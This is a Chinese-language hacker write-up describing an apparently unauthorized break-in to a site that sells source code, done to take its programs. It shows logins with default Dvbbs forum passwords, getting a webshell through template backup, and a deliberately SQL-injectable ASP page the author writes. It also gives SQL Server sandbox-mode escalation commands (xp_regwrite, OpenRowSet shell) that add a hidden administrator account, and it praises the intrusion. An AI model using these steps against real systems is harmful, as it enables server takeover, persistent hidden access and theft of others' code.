《艱難滲透源碼銷售站點(diǎn)》由會員分享,可在線閱讀,更多相關(guān)《艱難滲透源碼銷售站點(diǎn)(12頁珍藏版)》請?jiān)谘b配圖網(wǎng)上搜索。
1、艱難滲透源碼銷售站點(diǎn)
題外話:
最近想做幾個垃圾站玩玩。可手上又沒有啥好程序。郁悶。
那些網(wǎng)上免費(fèi)的程序又沒多少好玩意。
百度看看網(wǎng)上誰賣程序。方便的話,搞幾個下來玩玩好了。
一:小碰頭:
百度上找了一會,
看到這個站上有幾個我喜歡的程序。
咋辦?試試看吧。
當(dāng)時一看這站,哪像個出售源碼程序的站。這么丑。用的啥系統(tǒng)我想大家不說我說也知道了吧。
當(dāng)然,人家手上既然有這么多源碼,想必也是通過自己的入侵手段搞來的。
那他的主站也基本上就不需要看了。
隨便在一個url上添加個單引號出現(xiàn)了這個。加了防注入了.
算了。不錯主站入手了。
拿出我們最喜歡的東西吧。
2、
(
查到同一服務(wù)器上有這些站。
有53個站。心里開心了。旁注有望啊。
從主站也得知這些網(wǎng)站都是網(wǎng)站管理員的出售中的程序。
所以給他們分配的也都是2級域名。大家會想了。2級域名?會不會如果直接搞定一個webshell,就可以得到所有程序呢?因?yàn)樗麄冞@些演示站點(diǎn)或許會是在主站的下級目錄吧。
當(dāng)初我也這么想的。先不說這個了。
下面我們開始吧。
我首先瞄準(zhǔn)了
大家看到了什么?
對,論壇。而且是動網(wǎng)7.1的。
不是吧?這么簡單就可以搞到一個webshell了?還賣源碼呢.唉。
動網(wǎng)默認(rèn)的密碼就進(jìn)去了。
咱們登陸后臺拿webshell吧。
Dvbbs7.1首先考慮后臺
3、導(dǎo)出模板然后備份拿webshell.
然后就導(dǎo)出了。問題也就來了。
去看看備份數(shù)據(jù)庫那里能否備份。是可以備份的。
導(dǎo)出模板不可以。上傳文件總還是會允許的吧?
結(jié)果無論我上傳什么類型的文件。無論我怎么偽造文件。都顯示這個。難怪管理員會這么放
心的把密碼設(shè)為默認(rèn)的。我想大概是方便購買的人查看吧。
想了想。要是這樣的話?
那不會所有的2級網(wǎng)站都是這樣吧?
我是個不服輸?shù)娜?。大不了一個一個試。不就53個網(wǎng)站么?
經(jīng)歷了“無數(shù)”的數(shù)據(jù)庫只讀,無寫入權(quán)限等問題。幾乎所有的2級都是這樣。看來管理員還是挺有意識。尷尬了。怎么辦?不會就這么放棄吧。
二:峰回路轉(zhuǎn)。
我沒有放棄。
4、接著又找到一動網(wǎng)7.1默認(rèn)密碼。
哈哈。百密終有一疏啊。
這么多的站。總算還有一個沒把權(quán)限給卡住啊。
成功導(dǎo)出后。然后通過備份拿到一個webshell.
終于嘆了口氣。搞了大半天終于拿到了一個webshell..
提權(quán)吧。
無ws
無任何第3方可以直接利用軟件。
……Aspx的馬馬運(yùn)行不了(其實(shí)服務(wù)器是支持.net的)。
跳轉(zhuǎn)的d:/web/ 跳轉(zhuǎn)不了……
唉。提權(quán)無望啊。
又不知道其他目錄的名稱。社工了好幾個,都不能跳轉(zhuǎn)。
想了想,同級目錄會不會允許跳轉(zhuǎn)呢?帶著僥幸的心理嘗試了下。
大家會說了,根本就不知道其他的網(wǎng)站目錄
其實(shí)要想知道一個同級目錄也不
5、難。剛剛咱們不是還有個動網(wǎng)默認(rèn)密碼的沒搞下來么?
大家有沒想到什么?動網(wǎng)后臺在數(shù)據(jù)處理的系統(tǒng)信息檢測可以看到網(wǎng)站的路徑的。呵呵。對了。(其實(shí)還有的其他幾個站點(diǎn)可以通過aspcheck.asp來得知的。)
哈哈。跳轉(zhuǎn)成功。但也就只能跳這個三級目錄。不過不要緊。
舒服的東西在下面呢。
習(xí)慣性的看了下數(shù)據(jù)庫連接文件。
strconn = "driver={sql server};server=(local);uid=xxx;pwd=xxx;database=xxx"
呵呵。是個SQL的數(shù)據(jù)庫。
試試是否可以上傳文件到這個站。
唉。權(quán)限還是不夠啊。
那就用SQLtoo
6、l直接連接吧。我暈。
怎么可能呢?密碼難道錯誤?不會啊。重新找了一下數(shù)據(jù)庫連接我文件。也就那么一個。那到
底怎么回事呢?
很明顯,禁止了外部連接1433端口。如果是這樣的話那好辦。
傳個SQLrootkit就可以了。
事實(shí)證明了這一點(diǎn)。我用webshell自帶的SQL連接工具連接了。
在我意料之中。這僅僅是個db權(quán)限的數(shù)據(jù)庫而已。
Db權(quán)限的數(shù)據(jù)庫?大家想到了什么?呵呵。對了。
Db 權(quán)限的注入點(diǎn)可以列目錄啊。既然服務(wù)器允許我們跳轉(zhuǎn)到3級目錄(這只是暫時的猜想,
因?yàn)楫吘箷簳r只有一個3級目錄被我們跳轉(zhuǎn)了)。
XP_CMDSHELL............
7、. 存在!
SP_OACREATE............. 存在!
XP_REGWRITE............. 存在!
XP_SERVICECONTROL 存在!
經(jīng)查詢。這些都還在。那就好辦了。
直接構(gòu)造注入點(diǎn)吧。
<%
set rs=server.createobject("ADODB.recordset")
id = request("id")
strSQL =
"select * from admin where id="
& id
rs.open strSQL,conn,1,3
8、rs.close
%>
這里的admin必須是一個存在的表名。
我們可以通過SQL連接工具執(zhí)行SQL命令查詢。
select name from sysobjects where type=U
查詢出我們需要的表名。或者我也在 ../
conn/encode.asp
這個文件里找到這一句。sql="select count (*) from login where id="&cint(myid)
很明顯。這里的login就可以被我們用上。
strSQL = "select * from login where id=" & id 我們構(gòu)造出這樣的語句替換到上面的代碼中。
至
9、此。終于有了突破。成功構(gòu)造了注入點(diǎn)。
呵呵。能夠列出目錄了。
我們現(xiàn)在會想。要想搞到3389的終極權(quán)限?,F(xiàn)在只能靠1433這個口子了。
既然服務(wù)器支持我們跳轉(zhuǎn)到某些目錄。那咱們一一試過去不就行了。
事情證明。找1433實(shí)在是太辛苦了。有的人大概會一個目錄一個目錄的去找吧。但有的網(wǎng)站只是access的。
其實(shí)這也是我當(dāng)初的做法。后來兄弟可酷可樂告訴我。直接列出這個目錄d:\Program Files\Microsoft SQL Server\MSSQL\Data\
數(shù)據(jù)庫的前綴基本上是有規(guī)律的。那就是跟二級域名很相似。直接去找那些目錄就可以了。這樣就可以省下很多事。
找到目
10、錄后,一一的在webshell上跳轉(zhuǎn)。很順利。在通過幾次觀察后。
管理員把SQL帳戶設(shè)置的很有規(guī)律。
aaa1 aaa2 aaa3 aaa4 aaa5 ……
而密碼有都是一樣的。我這個人就是懶,喜歡偷懶。那這些用戶中會否有一個是SA的權(quán)限呢?趕緊去一個一個試。我從aaa1試到aaa16。
呵呵。
恭喜!SQL SERVER最高權(quán)限。
還等什么?趕緊”net user” 吧。
xpsql.cpp: 錯誤 5 來自 CreateProcess(第 737 行)
郁悶了。出現(xiàn)了這樣的情況。
沒有足夠的權(quán)限創(chuàng)建進(jìn)程。
難道不是SA權(quán)限? SA都被降權(quán)了?
c:\w
11、indows\system32\cmd.exe沒有被刪啊
那怎么辦?
想要用SQL查詢分析器連接吧,
但1433又不對外開放。外部不可以連接。
想把服務(wù)器上的1433端口轉(zhuǎn)發(fā)到本地吧。又無ws.
網(wǎng)上查了查資料。
用沙盒模式提權(quán)來試下
再來構(gòu)造個個SA的注入點(diǎn)。
這不難。繼續(xù)構(gòu)造。再次執(zhí)行select name from sysobjects where type=U查詢myadmin這個數(shù)據(jù)庫中的表名。
好了。成功構(gòu)造出來了。接著就是沙盒模式提權(quán)了。
OpenRowSet(Microsoft.Jet.OLEDB.4.0,;Database=c:\window
12、s\system32\ias\ias.mdb,select shell("net user aloner$ aloner /add"));--
OpenRowSet(Microsoft.Jet.OLEDB.4.0,;Database=c:\windows\system32\ias\ias.mdb,select shell("net localgroup administrators aloner$ /add"));--
返回正常。說明成功了。
或者用HDSI 執(zhí)行下面這些SQL命令。
EXEC master.dbo.xp_regwrite HKEY_LOCAL_MACHINE
13、,SoftWare\Microsoft\Jet\4.0\Engines,SandBoxMode,REG_DWORD,0
Select * From OpenRowSet(Microsoft.Jet.OLEDB.4.0,;Database=c:\windows\system32\ias\ias.mdb,select shell("net user aloner aloner /add"));
Select * From OpenRowSet(Microsoft.Jet.OLEDB.4.0,;Database=c:\windows\system32\ias\ias.mdb,select shell("net localgroup administrators aloner /add"));
至此,總算搞到system權(quán)限。順便搞了幾個程序。
總結(jié)一下:
這次入侵沒什么技術(shù)性。
咱們滲透一個站點(diǎn)的時候,最重要的是不斷的嘗試+思路。
這次滲透主要還是大膽的實(shí)驗(yàn)和假設(shè)加上管理員的疏忽吧。演示站點(diǎn)的權(quán)限沒有設(shè)置好。